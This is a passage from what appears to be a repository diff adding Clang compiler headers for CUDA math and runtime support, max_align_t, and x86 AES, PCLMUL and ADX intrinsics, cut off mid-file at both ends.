inline __device__ unsigned __funnelshift_lc(unsigned low32, unsigned high32,
unsigned shiftWidth) {
unsigned result;
asm("shf.l.clamp.b32 %0, %1, %2, %3;"
: "=r"(result)
: "r"(low32), "r"(high32), "r"(shiftWidth));
return result;
}
inline __device__ unsigned __funnelshift_r(unsigned low32, unsigned high32,
unsigned shiftWidth) {
unsigned result;
asm("shf.r.wrap.b32 %0, %1, %2, %3;"
: "=r"(result)
: "r"(low32), "r"(high32), "r"(shiftWidth));
return result;
}
inline __device__ unsigned __funnelshift_rc(unsigned low32, unsigned high32,
unsigned shiftWidth) {
unsigned ret;
asm("shf.r.clamp.b32 %0, %1, %2, %3;"
: "=r"(ret)
: "r"(low32), "r"(high32), "r"(shiftWidth));
return ret;
}
#endif // !defined(__CUDA_ARCH__) || __CUDA_ARCH__ >= 320
#endif // defined(__CLANG_CUDA_INTRINSICS_H__)

View File

@ -0,0 +1,263 @@
/*===- __clang_math_forward_declares.h - Prototypes of __device__ math fns --===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __CLANG__CUDA_MATH_FORWARD_DECLARES_H__
#define __CLANG__CUDA_MATH_FORWARD_DECLARES_H__
#ifndef __CUDA__
#error "This file is for CUDA compilation only."
#endif
// This file forward-declares of some math functions we (or the CUDA headers)
// will define later. We need to do this, and do it before cmath is included,
// because the standard library may have constexpr math functions. In the
// absence of a prior __device__ decl, those constexpr functions may become
// implicitly host+device. host+device functions can't be overloaded, so that
// would preclude the use of our own __device__ overloads for these functions.
#pragma push_macro("__DEVICE__")
#define __DEVICE__ \
static __inline__ __attribute__((always_inline)) __attribute__((device))
__DEVICE__ double abs(double);
__DEVICE__ float abs(float);
__DEVICE__ int abs(int);
__DEVICE__ long abs(long);
__DEVICE__ long long abs(long long);
__DEVICE__ double acos(double);
__DEVICE__ float acos(float);
__DEVICE__ double acosh(double);
__DEVICE__ float acosh(float);
__DEVICE__ double asin(double);
__DEVICE__ float asin(float);
__DEVICE__ double asinh(double);
__DEVICE__ float asinh(float);
__DEVICE__ double atan2(double, double);
__DEVICE__ float atan2(float, float);
__DEVICE__ double atan(double);
__DEVICE__ float atan(float);
__DEVICE__ double atanh(double);
__DEVICE__ float atanh(float);
__DEVICE__ double cbrt(double);
__DEVICE__ float cbrt(float);
__DEVICE__ double ceil(double);
__DEVICE__ float ceil(float);
__DEVICE__ double copysign(double, double);
__DEVICE__ float copysign(float, float);
__DEVICE__ double cos(double);
__DEVICE__ float cos(float);
__DEVICE__ double cosh(double);
__DEVICE__ float cosh(float);
__DEVICE__ double erfc(double);
__DEVICE__ float erfc(float);
__DEVICE__ double erf(double);
__DEVICE__ float erf(float);
__DEVICE__ double exp2(double);
__DEVICE__ float exp2(float);
__DEVICE__ double exp(double);
__DEVICE__ float exp(float);
__DEVICE__ double expm1(double);
__DEVICE__ float expm1(float);
__DEVICE__ double fabs(double);
__DEVICE__ float fabs(float);
__DEVICE__ double fdim(double, double);
__DEVICE__ float fdim(float, float);
__DEVICE__ double floor(double);
__DEVICE__ float floor(float);
__DEVICE__ double fma(double, double, double);
__DEVICE__ float fma(float, float, float);
__DEVICE__ double fmax(double, double);
__DEVICE__ float fmax(float, float);
__DEVICE__ double fmin(double, double);
__DEVICE__ float fmin(float, float);
__DEVICE__ double fmod(double, double);
__DEVICE__ float fmod(float, float);
__DEVICE__ int fpclassify(double);
__DEVICE__ int fpclassify(float);
__DEVICE__ double frexp(double, int *);
__DEVICE__ float frexp(float, int *);
__DEVICE__ double hypot(double, double);
__DEVICE__ float hypot(float, float);
__DEVICE__ int ilogb(double);
__DEVICE__ int ilogb(float);
__DEVICE__ bool isfinite(double);
__DEVICE__ bool isfinite(float);
__DEVICE__ bool isgreater(double, double);
__DEVICE__ bool isgreaterequal(double, double);
__DEVICE__ bool isgreaterequal(float, float);
__DEVICE__ bool isgreater(float, float);
__DEVICE__ bool isinf(double);
__DEVICE__ bool isinf(float);
__DEVICE__ bool isless(double, double);
__DEVICE__ bool islessequal(double, double);
__DEVICE__ bool islessequal(float, float);
__DEVICE__ bool isless(float, float);
__DEVICE__ bool islessgreater(double, double);
__DEVICE__ bool islessgreater(float, float);
__DEVICE__ bool isnan(double);
__DEVICE__ bool isnan(float);
__DEVICE__ bool isnormal(double);
__DEVICE__ bool isnormal(float);
__DEVICE__ bool isunordered(double, double);
__DEVICE__ bool isunordered(float, float);
__DEVICE__ long labs(long);
__DEVICE__ double ldexp(double, int);
__DEVICE__ float ldexp(float, int);
__DEVICE__ double lgamma(double);
__DEVICE__ float lgamma(float);
__DEVICE__ long long llabs(long long);
__DEVICE__ long long llrint(double);
__DEVICE__ long long llrint(float);
__DEVICE__ double log10(double);
__DEVICE__ float log10(float);
__DEVICE__ double log1p(double);
__DEVICE__ float log1p(float);
__DEVICE__ double log2(double);
__DEVICE__ float log2(float);
__DEVICE__ double logb(double);
__DEVICE__ float logb(float);
__DEVICE__ double log(double);
__DEVICE__ float log(float);
__DEVICE__ long lrint(double);
__DEVICE__ long lrint(float);
__DEVICE__ long lround(double);
__DEVICE__ long lround(float);
__DEVICE__ double modf(double, double *);
__DEVICE__ float modf(float, float *);
__DEVICE__ double nan(const char *);
__DEVICE__ float nanf(const char *);
__DEVICE__ double nearbyint(double);
__DEVICE__ float nearbyint(float);
__DEVICE__ double nextafter(double, double);
__DEVICE__ float nextafter(float, float);
__DEVICE__ double nexttoward(double, double);
__DEVICE__ float nexttoward(float, float);
__DEVICE__ double pow(double, double);
__DEVICE__ double pow(double, int);
__DEVICE__ float pow(float, float);
__DEVICE__ float pow(float, int);
__DEVICE__ double remainder(double, double);
__DEVICE__ float remainder(float, float);
__DEVICE__ double remquo(double, double, int *);
__DEVICE__ float remquo(float, float, int *);
__DEVICE__ double rint(double);
__DEVICE__ float rint(float);
__DEVICE__ double round(double);
__DEVICE__ float round(float);
__DEVICE__ double scalbln(double, long);
__DEVICE__ float scalbln(float, long);
__DEVICE__ double scalbn(double, int);
__DEVICE__ float scalbn(float, int);
__DEVICE__ bool signbit(double);
__DEVICE__ bool signbit(float);
__DEVICE__ double sin(double);
__DEVICE__ float sin(float);
__DEVICE__ double sinh(double);
__DEVICE__ float sinh(float);
__DEVICE__ double sqrt(double);
__DEVICE__ float sqrt(float);
__DEVICE__ double tan(double);
__DEVICE__ float tan(float);
__DEVICE__ double tanh(double);
__DEVICE__ float tanh(float);
__DEVICE__ double tgamma(double);
__DEVICE__ float tgamma(float);
__DEVICE__ double trunc(double);
__DEVICE__ float trunc(float);
namespace std {
using ::abs;
using ::acos;
using ::acosh;
using ::asin;
using ::asinh;
using ::atan;
using ::atan2;
using ::atanh;
using ::cbrt;
using ::ceil;
using ::copysign;
using ::cos;
using ::cosh;
using ::erf;
using ::erfc;
using ::exp;
using ::exp2;
using ::expm1;
using ::fabs;
using ::fdim;
using ::floor;
using ::fma;
using ::fmax;
using ::fmin;
using ::fmod;
using ::fpclassify;
using ::frexp;
using ::hypot;
using ::ilogb;
using ::isfinite;
using ::isgreater;
using ::isgreaterequal;
using ::isinf;
using ::isless;
using ::islessequal;
using ::islessgreater;
using ::isnan;
using ::isnormal;
using ::isunordered;
using ::labs;
using ::ldexp;
using ::lgamma;
using ::llabs;
using ::llrint;
using ::log;
using ::log10;
using ::log1p;
using ::log2;
using ::logb;
using ::lrint;
using ::lround;
using ::modf;
using ::nan;
using ::nanf;
using ::nearbyint;
using ::nextafter;
using ::nexttoward;
using ::pow;
using ::remainder;
using ::remquo;
using ::rint;
using ::round;
using ::scalbln;
using ::scalbn;
using ::signbit;
using ::sin;
using ::sinh;
using ::sqrt;
using ::tan;
using ::tanh;
using ::tgamma;
using ::trunc;
} // namespace std
#pragma pop_macro("__DEVICE__")
#endif

View File

@ -0,0 +1,316 @@
/*===---- __clang_cuda_runtime_wrapper.h - CUDA runtime support -------------===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
/*
* WARNING: This header is intended to be directly -include'd by
* the compiler and is not supposed to be included by users.
*
* CUDA headers are implemented in a way that currently makes it
* impossible for user code to #include directly when compiling with
* Clang. They present different view of CUDA-supplied functions
* depending on where in NVCC's compilation pipeline the headers are
* included. Neither of these modes provides function definitions with
* correct attributes, so we use preprocessor to force the headers
* into a form that Clang can use.
*
* Similarly to NVCC which -include's cuda_runtime.h, Clang -include's
* this file during every CUDA compilation.
*/
#ifndef __CLANG_CUDA_RUNTIME_WRAPPER_H__
#define __CLANG_CUDA_RUNTIME_WRAPPER_H__
#if defined(__CUDA__) && defined(__clang__)
// Include some forward declares that must come before cmath.
#include <__clang_cuda_math_forward_declares.h>
// Include some standard headers to avoid CUDA headers including them
// while some required macros (like __THROW) are in a weird state.
#include <cmath>
#include <cstdlib>
#include <stdlib.h>
// Preserve common macros that will be changed below by us or by CUDA
// headers.
#pragma push_macro("__THROW")
#pragma push_macro("__CUDA_ARCH__")
// WARNING: Preprocessor hacks below are based on specific details of
// CUDA-7.x headers and are not expected to work with any other
// version of CUDA headers.
#include "cuda.h"
#if !defined(CUDA_VERSION)
#error "cuda.h did not define CUDA_VERSION"
#elif CUDA_VERSION < 7000 || CUDA_VERSION > 7050
#error "Unsupported CUDA version!"
#endif
// Make largest subset of device functions available during host
// compilation -- SM_35 for the time being.
#ifndef __CUDA_ARCH__
#define __CUDA_ARCH__ 350
#endif
#include "cuda_builtin_vars.h"
// No need for device_launch_parameters.h as cuda_builtin_vars.h above
// has taken care of builtin variables declared in the file.
#define __DEVICE_LAUNCH_PARAMETERS_H__
// {math,device}_functions.h only have declarations of the
// functions. We don't need them as we're going to pull in their
// definitions from .hpp files.
#define __DEVICE_FUNCTIONS_H__
#define __MATH_FUNCTIONS_H__
#define __COMMON_FUNCTIONS_H__
#undef __CUDACC__
#define __CUDABE__
// Disables definitions of device-side runtime support stubs in
// cuda_device_runtime_api.h
#include "driver_types.h"
#include "host_config.h"
#include "host_defines.h"
#undef __CUDABE__
#define __CUDACC__
#include "cuda_runtime.h"
#undef __CUDACC__
#define __CUDABE__
// CUDA headers use __nvvm_memcpy and __nvvm_memset which Clang does
// not have at the moment. Emulate them with a builtin memcpy/memset.
#define __nvvm_memcpy(s, d, n, a) __builtin_memcpy(s, d, n)
#define __nvvm_memset(d, c, n, a) __builtin_memset(d, c, n)
#include "crt/device_runtime.h"
#include "crt/host_runtime.h"
// device_runtime.h defines __cxa_* macros that will conflict with
// cxxabi.h.
// FIXME: redefine these as __device__ functions.
#undef __cxa_vec_ctor
#undef __cxa_vec_cctor
#undef __cxa_vec_dtor
#undef __cxa_vec_new2
#undef __cxa_vec_new3
#undef __cxa_vec_delete2
#undef __cxa_vec_delete
#undef __cxa_vec_delete3
#undef __cxa_pure_virtual
// We need decls for functions in CUDA's libdevice with __device__
// attribute only. Alas they come either as __host__ __device__ or
// with no attributes at all. To work around that, define __CUDA_RTC__
// which produces HD variant and undef __host__ which gives us desided
// decls with __device__ attribute.
#pragma push_macro("__host__")
#define __host__
#define __CUDACC_RTC__
#include "device_functions_decls.h"
#undef __CUDACC_RTC__
// Temporarily poison __host__ macro to ensure it's not used by any of
// the headers we're about to include.
#define __host__ UNEXPECTED_HOST_ATTRIBUTE
// device_functions.hpp and math_functions*.hpp use 'static
// __forceinline__' (with no __device__) for definitions of device
// functions. Temporarily redefine __forceinline__ to include
// __device__.
#pragma push_macro("__forceinline__")
#define __forceinline__ __device__ __inline__ __attribute__((always_inline))
#include "device_functions.hpp"
// math_function.hpp uses the __USE_FAST_MATH__ macro to determine whether we
// get the slow-but-accurate or fast-but-inaccurate versions of functions like
// sin and exp. This is controlled in clang by -fcuda-approx-transcendentals.
//
// device_functions.hpp uses __USE_FAST_MATH__ for a different purpose (fast vs.
// slow divides), so we need to scope our define carefully here.
#pragma push_macro("__USE_FAST_MATH__")
#if defined(__CLANG_CUDA_APPROX_TRANSCENDENTALS__)
#define __USE_FAST_MATH__
#endif
#include "math_functions.hpp"
#pragma pop_macro("__USE_FAST_MATH__")
#include "math_functions_dbl_ptx3.hpp"
#pragma pop_macro("__forceinline__")
// Pull in host-only functions that are only available when neither
// __CUDACC__ nor __CUDABE__ are defined.
#undef __MATH_FUNCTIONS_HPP__
#undef __CUDABE__
#include "math_functions.hpp"
// Alas, additional overloads for these functions are hard to get to.
// Considering that we only need these overloads for a few functions,
// we can provide them here.
static inline float rsqrt(float __a) { return rsqrtf(__a); }
static inline float rcbrt(float __a) { return rcbrtf(__a); }
static inline float sinpi(float __a) { return sinpif(__a); }
static inline float cospi(float __a) { return cospif(__a); }
static inline void sincospi(float __a, float *__b, float *__c) {
return sincospif(__a, __b, __c);
}
static inline float erfcinv(float __a) { return erfcinvf(__a); }
static inline float normcdfinv(float __a) { return normcdfinvf(__a); }
static inline float normcdf(float __a) { return normcdff(__a); }
static inline float erfcx(float __a) { return erfcxf(__a); }
// For some reason single-argument variant is not always declared by
// CUDA headers. Alas, device_functions.hpp included below needs it.
static inline __device__ void __brkpt(int __c) { __brkpt(); }
// Now include *.hpp with definitions of various GPU functions. Alas,
// a lot of thins get declared/defined with __host__ attribute which
// we don't want and we have to define it out. We also have to include
// {device,math}_functions.hpp again in order to extract the other
// branch of #if/else inside.
#define __host__
#undef __CUDABE__
#define __CUDACC__
#undef __DEVICE_FUNCTIONS_HPP__
#include "device_atomic_functions.hpp"
#include "device_functions.hpp"
#include "sm_20_atomic_functions.hpp"
#include "sm_20_intrinsics.hpp"
#include "sm_32_atomic_functions.hpp"
// Don't include sm_30_intrinsics.h and sm_32_intrinsics.h. These define the
// __shfl and __ldg intrinsics using inline (volatile) asm, but we want to
// define them using builtins so that the optimizer can reason about and across
// these instructions. In particular, using intrinsics for ldg gets us the
// [addr+imm] addressing mode, which, although it doesn't actually exist in the
// hardware, seems to generate faster machine code because ptxas can more easily
// reason about our code.
#undef __MATH_FUNCTIONS_HPP__
// math_functions.hpp defines ::signbit as a __host__ __device__ function. This
// conflicts with libstdc++'s constexpr ::signbit, so we have to rename
// math_function.hpp's ::signbit. It's guarded by #undef signbit, but that's
// conditional on __GNUC__. :)
#pragma push_macro("signbit")
#pragma push_macro("__GNUC__")
#undef __GNUC__
#define signbit __ignored_cuda_signbit
#include "math_functions.hpp"
#pragma pop_macro("__GNUC__")
#pragma pop_macro("signbit")
#pragma pop_macro("__host__")
#include "texture_indirect_functions.h"
// Restore state of __CUDA_ARCH__ and __THROW we had on entry.
#pragma pop_macro("__CUDA_ARCH__")
#pragma pop_macro("__THROW")
// Set up compiler macros expected to be seen during compilation.
#undef __CUDABE__
#define __CUDACC__
extern "C" {
// Device-side CUDA system calls.
// http://docs.nvidia.com/cuda/ptx-writers-guide-to-interoperability/index.html#system-calls
// We need these declarations and wrappers for device-side
// malloc/free/printf calls to work without relying on
// -fcuda-disable-target-call-checks option.
__device__ int vprintf(const char *, const char *);
__device__ void free(void *) __attribute((nothrow));
__device__ void *malloc(size_t) __attribute((nothrow)) __attribute__((malloc));
__device__ void __assertfail(const char *__message, const char *__file,
unsigned __line, const char *__function,
size_t __charSize) __attribute__((noreturn));
// In order for standard assert() macro on linux to work we need to
// provide device-side __assert_fail()
__device__ static inline void __assert_fail(const char *__message,
const char *__file, unsigned __line,
const char *__function) {
__assertfail(__message, __file, __line, __function, sizeof(char));
}
// Clang will convert printf into vprintf, but we still need
// device-side declaration for it.
__device__ int printf(const char *, ...);
} // extern "C"
// We also need device-side std::malloc and std::free.
namespace std {
__device__ static inline void free(void *__ptr) { ::free(__ptr); }
__device__ static inline void *malloc(size_t __size) {
return ::malloc(__size);
}
} // namespace std
// Out-of-line implementations from cuda_builtin_vars.h. These need to come
// after we've pulled in the definition of uint3 and dim3.
__device__ inline __cuda_builtin_threadIdx_t::operator uint3() const {
uint3 ret;
ret.x = x;
ret.y = y;
ret.z = z;
return ret;
}
__device__ inline __cuda_builtin_blockIdx_t::operator uint3() const {
uint3 ret;
ret.x = x;
ret.y = y;
ret.z = z;
return ret;
}
__device__ inline __cuda_builtin_blockDim_t::operator dim3() const {
return dim3(x, y, z);
}
__device__ inline __cuda_builtin_gridDim_t::operator dim3() const {
return dim3(x, y, z);
}
#include <__clang_cuda_cmath.h>
#include <__clang_cuda_intrinsics.h>
// curand_mtgp32_kernel helpfully redeclares blockDim and threadIdx in host
// mode, giving them their "proper" types of dim3 and uint3. This is
// incompatible with the types we give in cuda_builtin_vars.h. As as hack,
// force-include the header (nvcc doesn't include it by default) but redefine
// dim3 and uint3 to our builtin types. (Thankfully dim3 and uint3 are only
// used here for the redeclarations of blockDim and threadIdx.)
#pragma push_macro("dim3")
#pragma push_macro("uint3")
#define dim3 __cuda_builtin_blockDim_t
#define uint3 __cuda_builtin_threadIdx_t
#include "curand_mtgp32_kernel.h"
#pragma pop_macro("dim3")
#pragma pop_macro("uint3")
#pragma pop_macro("__USE_FAST_MATH__")
#endif // __CUDA__
#endif // __CLANG_CUDA_RUNTIME_WRAPPER_H__

View File

@ -0,0 +1,43 @@
/*===---- __stddef_max_align_t.h - Definition of max_align_t for modules ---===
*
* Copyright (c) 2014 Chandler Carruth
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __CLANG_MAX_ALIGN_T_DEFINED
#define __CLANG_MAX_ALIGN_T_DEFINED
#if defined(_MSC_VER)
typedef double max_align_t;
#elif defined(__APPLE__)
typedef long double max_align_t;
#else
// Define 'max_align_t' to match the GCC definition.
typedef struct {
long long __clang_max_align_nonce1
__attribute__((__aligned__(__alignof__(long long))));
long double __clang_max_align_nonce2
__attribute__((__aligned__(__alignof__(long double))));
} max_align_t;
#endif
#endif

View File

@ -0,0 +1,151 @@
/*===---- __wmmintrin_aes.h - AES intrinsics -------------------------------===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef _WMMINTRIN_AES_H
#define _WMMINTRIN_AES_H
#include <emmintrin.h>
/* Define the default attributes for the functions in this file. */
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__, __target__("aes")))
/// \brief Performs a single round of AES encryption using the Equivalent
/// Inverse Cipher, transforming the state value from the first source
/// operand using a 128-bit round key value contained in the second source
/// operand, and writes the result to the destination.
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c VAESENC instruction.
///
/// \param __V
/// A 128-bit integer vector containing the state value.
/// \param __R
/// A 128-bit integer vector containing the round key value.
/// \returns A 128-bit integer vector containing the encrypted value.
static __inline__ __m128i __DEFAULT_FN_ATTRS
_mm_aesenc_si128(__m128i __V, __m128i __R)
{
return (__m128i)__builtin_ia32_aesenc128((__v2di)__V, (__v2di)__R);
}
/// \brief Performs the final round of AES encryption using the Equivalent
/// Inverse Cipher, transforming the state value from the first source
/// operand using a 128-bit round key value contained in the second source
/// operand, and writes the result to the destination.
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c VAESENCLAST instruction.
///
/// \param __V
/// A 128-bit integer vector containing the state value.
/// \param __R
/// A 128-bit integer vector containing the round key value.
/// \returns A 128-bit integer vector containing the encrypted value.
static __inline__ __m128i __DEFAULT_FN_ATTRS
_mm_aesenclast_si128(__m128i __V, __m128i __R)
{
return (__m128i)__builtin_ia32_aesenclast128((__v2di)__V, (__v2di)__R);
}
/// \brief Performs a single round of AES decryption using the Equivalent
/// Inverse Cipher, transforming the state value from the first source
/// operand using a 128-bit round key value contained in the second source
/// operand, and writes the result to the destination.
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c VAESDEC instruction.
///
/// \param __V
/// A 128-bit integer vector containing the state value.
/// \param __R
/// A 128-bit integer vector containing the round key value.
/// \returns A 128-bit integer vector containing the decrypted value.
static __inline__ __m128i __DEFAULT_FN_ATTRS
_mm_aesdec_si128(__m128i __V, __m128i __R)
{
return (__m128i)__builtin_ia32_aesdec128((__v2di)__V, (__v2di)__R);
}
/// \brief Performs the final round of AES decryption using the Equivalent
/// Inverse Cipher, transforming the state value from the first source
/// operand using a 128-bit round key value contained in the second source
/// operand, and writes the result to the destination.
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c VAESDECLAST instruction.
///
/// \param __V
/// A 128-bit integer vector containing the state value.
/// \param __R
/// A 128-bit integer vector containing the round key value.
/// \returns A 128-bit integer vector containing the decrypted value.
static __inline__ __m128i __DEFAULT_FN_ATTRS
_mm_aesdeclast_si128(__m128i __V, __m128i __R)
{
return (__m128i)__builtin_ia32_aesdeclast128((__v2di)__V, (__v2di)__R);
}
/// \brief Applies the AES InvMixColumns() transformation to an expanded key
/// contained in the source operand, and writes the result to the
/// destination.
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c VAESIMC instruction.
///
/// \param __V
/// A 128-bit integer vector containing the expanded key.
/// \returns A 128-bit integer vector containing the transformed value.
static __inline__ __m128i __DEFAULT_FN_ATTRS
_mm_aesimc_si128(__m128i __V)
{
return (__m128i)__builtin_ia32_aesimc128((__v2di)__V);
}
/// \brief Generates a round key for AES encyption, operating on 128-bit data
/// specified in the first source operand and using an 8-bit round constant
/// specified by the second source operand, and writes the result to the
/// destination.
///
/// \headerfile <x86intrin.h>
///
/// \code
/// __m128i _mm_aeskeygenassist_si128(__m128i C, const int R);
/// \endcode
///
/// This intrinsic corresponds to the \c AESKEYGENASSIST instruction.
///
/// \param C
/// A 128-bit integer vector that is used to generate the AES encryption key.
/// \param R
/// An 8-bit round constant used to generate the AES encryption key.
/// \returns A 128-bit round key for AES encryption.
#define _mm_aeskeygenassist_si128(C, R) \
(__m128i)__builtin_ia32_aeskeygenassist128((__v2di)(__m128i)(C), (int)(R))
#undef __DEFAULT_FN_ATTRS
#endif /* _WMMINTRIN_AES_H */

View File

@ -0,0 +1,58 @@
/*===---- __wmmintrin_pclmul.h - PCMUL intrinsics ---------------------------===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef _WMMINTRIN_PCLMUL_H
#define _WMMINTRIN_PCLMUL_H
/// \brief Multiplies two 64-bit integer values, which are selected from source
/// operands using the immediate-value operand. The multiplication is a
/// carry-less multiplication, and the 128-bit integer product is stored in
/// the destination.
///
/// \headerfile <x86intrin.h>
///
/// \code
/// __m128i _mm_clmulepi64_si128(__m128i __X, __m128i __Y, const int __I);
/// \endcode
///
/// This intrinsic corresponds to the \c VPCLMULQDQ instruction.
///
/// \param __X
/// A 128-bit vector of [2 x i64] containing one of the source operands.
/// \param __Y
/// A 128-bit vector of [2 x i64] containing one of the source operands.
/// \param __I
/// An immediate value specifying which 64-bit values to select from the
/// operands.
/// Bit 0 is used to select a value from operand __X,
/// and bit 4 is used to select a value from operand __Y:
/// Bit[0]=0 indicates that bits[63:0] of operand __X are used.
/// Bit[0]=1 indicates that bits[127:64] of operand __X are used.
/// Bit[4]=0 indicates that bits[63:0] of operand __Y are used.
/// Bit[4]=1 indicates that bits[127:64] of operand __Y are used.
/// \returns The 128-bit integer vector containing the result of the carry-less
/// multiplication of the selected 64-bit values.
#define _mm_clmulepi64_si128(__X, __Y, __I) \
((__m128i)__builtin_ia32_pclmulqdq128((__v2di)(__m128i)(__X), \
(__v2di)(__m128i)(__Y), (char)(__I)))
#endif /* _WMMINTRIN_PCLMUL_H */

View File

@ -0,0 +1,86 @@
/*===---- adxintrin.h - ADX intrinsics -------------------------------------===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __IMMINTRIN_H
#error "Never use <adxintrin.h> directly; include <immintrin.h> instead."
#endif
#ifndef __ADXINTRIN_H
#define __ADXINTRIN_H
/* Define the default attributes for the functions in this file. */
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__))
/* Intrinsics that are available only if __ADX__ defined */
static __inline unsigned char __attribute__((__always_inline__, __nodebug__, __target__("adx")))
_addcarryx_u32(unsigned char __cf, unsigned int __x, unsigned int __y,
unsigned int *__p)
{
